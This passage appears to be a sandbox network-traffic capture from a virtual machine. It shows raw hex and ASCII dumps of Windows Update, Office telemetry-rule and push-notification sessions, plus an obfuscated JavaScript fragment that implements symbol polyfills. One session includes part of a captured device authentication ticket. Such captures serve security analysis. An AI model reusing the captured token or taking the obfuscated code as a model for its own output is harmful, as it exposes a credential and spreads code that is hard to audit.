2024-12-04 15:15:15 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 3d 78 68 28 30 78 31 30 66 62 29 2c 78 4b 3d 78 68 28 30 78 39 32 62 29 3b 78 69 28 7b 27 74 61 72 67 65 74 27 3a 27 4f 62 6a 65 63 74 27 2c 27 73 74 61 74 27 3a 21 30 78 30 2c 27 66 6f 72 63 65 64 27 3a 21 78 4a 7c 7c 78 53 28 66 75 6e 63 74 69 6f 6e 28 29 7b 78 5a 5b 27 66 27 5d 28 30 78 31 29 3b 7d 29 7d 2c 7b 27 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 27 3a 66 75 6e 63 74 69 6f 6e 28 78 7a 29 7b 76 61 72 20 78 67 3d 78 5a 5b 27 66 27 5d 3b 72 65 74 75 72 6e 20 78 67 3f 78 67 28 78 4b 28 78 7a 29 29 3a 5b 5d 3b 7d 7d 29 3b 7d 2c 30 78 65 65 32 3a 66 75 6e 63 74 69 6f 6e 28 78 71 2c 78 6f 2c 78 68 29 7b 76 61 72 20 59 56 3d 61 30 72 35 3b 69 66 28 59 56 28 30 78 33 63 37 29 3d 3d 3d 27 76 65 58 6b 71 27 29 72 65 Data Ascii: 4000=xh(0x10fb),xK=xh(0x92b);xi({'target':'Object','stat':!0x0,'forced':!xJ\|\|xS(function(){xZ['f'](0x1);})},{'getOwnPropertySymbols':function(xz){var xg=xZ['f'];return xg?xg(xK(xz)):[];}});},0xee2:function(xq,xo,xh){var YV=a0r5;if(YV(0x3c7)==='veXkq')re
2024-12-04 15:15:15 UTC	8	IN	Data Raw: 74 27 3a 51 47 28 0d 0a Data Ascii: t':QG(
2024-12-04 15:15:16 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 30 78 33 35 38 29 2c 27 73 74 61 74 27 3a 21 30 78 30 2c 27 66 6f 72 63 65 64 27 3a 21 78 7a 7d 2c 7b 27 6b 65 79 46 6f 72 27 3a 66 75 6e 63 74 69 6f 6e 28 78 62 29 7b 76 61 72 20 51 56 3d 51 47 3b 69 66 28 21 78 53 28 78 62 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 78 5a 28 78 62 29 2b 51 56 28 30 78 33 36 32 29 29 3b 69 66 28 78 4a 28 78 67 2c 78 62 29 29 72 65 74 75 72 6e 20 78 67 5b 78 62 5d 3b 7d 7d 29 3b 7d 2c 30 78 39 33 66 3a 66 75 6e 63 74 69 6f 6e 28 78 71 2c 78 6f 2c 78 68 29 7b 76 61 72 20 51 4f 3d 61 30 72 35 2c 78 69 3d 78 68 28 30 78 31 35 63 61 29 2c 78 4a 3d 78 68 28 30 78 31 32 65 61 29 2c 78 53 3d 78 68 28 30 78 37 36 65 29 2c 78 5a 3d 78 68 28 30 78 31 33 36 32 29 2c 78 4b 3d 78 68 28 30 78 32 Data Ascii: 40000x358),'stat':!0x0,'forced':!xz},{'keyFor':function(xb){var QV=QG;if(!xS(xb))throw new TypeError(xZ(xb)+QV(0x362));if(xJ(xg,xb))return xg[xb];}});},0x93f:function(xq,xo,xh){var QO=a0r5,xi=xh(0x15ca),xJ=xh(0x12ea),xS=xh(0x76e),xZ=xh(0x1362),xK=xh(0x2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49726	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:17 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NKm6+LZGGaTg9R9&MD=9raX5TOl HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-04 15:15:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: badd4961-7341-453f-a3a3-a66c596acef7 MS-RequestId: 3ead7aff-e7c9-437e-8b09-6c9e0638fd5c MS-CV: MunTKv/t2Ee0phgM.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 04 Dec 2024 15:15:17 GMT Connection: close Content-Length: 24490
2024-12-04 15:15:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-04 15:15:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49718	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:17 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:17 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:17 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 03 Dec 2024 18:21:00 GMT ETag: "0x8DD13C73D7EC056" x-ms-request-id: 85afd668-301e-0052-47c3-4565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151517Z-1746fd949bdb8xvchC1EWRmbd400000001cg0000000056kd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:17 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-04 15:15:18 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-04 15:15:18 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-04 15:15:18 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-04 15:15:18 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-04 15:15:18 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-04 15:15:18 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-04 15:15:18 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-04 15:15:18 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-04 15:15:18 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49727	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 64 70 52 33 58 6a 7a 52 4c 6b 4b 6d 4e 30 36 53 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 30 33 35 39 35 63 62 62 32 32 30 65 30 63 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: dpR3XjzRLkKmN06S.1Context: 903595cbb220e0c5
2024-12-04 15:15:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-04 15:15:17 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 64 70 52 33 58 6a 7a 52 4c 6b 4b 6d 4e 30 36 53 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 30 33 35 39 35 63 62 62 32 32 30 65 30 63 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 35 77 4f 39 68 76 62 45 4d 2b 69 53 66 45 2b 38 44 46 45 6f 61 6d 47 46 76 53 62 58 34 48 49 51 59 4b 35 45 4b 78 75 36 71 38 39 54 39 4f 4a 6e 46 63 44 4f 72 39 65 57 4d 58 41 64 56 37 4b 38 6a 69 4f 45 35 51 2f 38 52 49 4b 4a 69 65 49 72 4b 72 54 5a 4c 75 38 52 48 6d 6c 4b 50 63 2b 63 66 46 50 35 42 4f 44 44 46 6f 32 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: dpR3XjzRLkKmN06S.2Context: 903595cbb220e0c5<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe5wO9hvbEM+iSfE+8DFEoamGFvSbX4HIQYK5EKxu6q89T9OJnFcDOr9eWMXAdV7K8jiOE5Q/8RIKJieIrKrTZLu8RHmlKPc+cfFP5BODDFo25
2024-12-04 15:15:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 64 70 52 33 58 6a 7a 52 4c 6b 4b 6d 4e 30 36 53 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 30 33 35 39 35 63 62 62 32 32 30 65 30 63 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: dpR3XjzRLkKmN06S.3Context: 903595cbb220e0c5<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-04 15:15:18 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-04 15:15:18 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 4e 50 77 49 72 72 32 46 30 4f 59 70 7a 31 46 66 33 32 33 6f 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: qNPwIrr2F0OYpz1Ff323ow.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49731	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:20 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:20 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 40031d31-601e-005c-53c5-45f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151520Z-1746fd949bd6ztf6hC1EWRvq2s00000000xg00000000n31y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
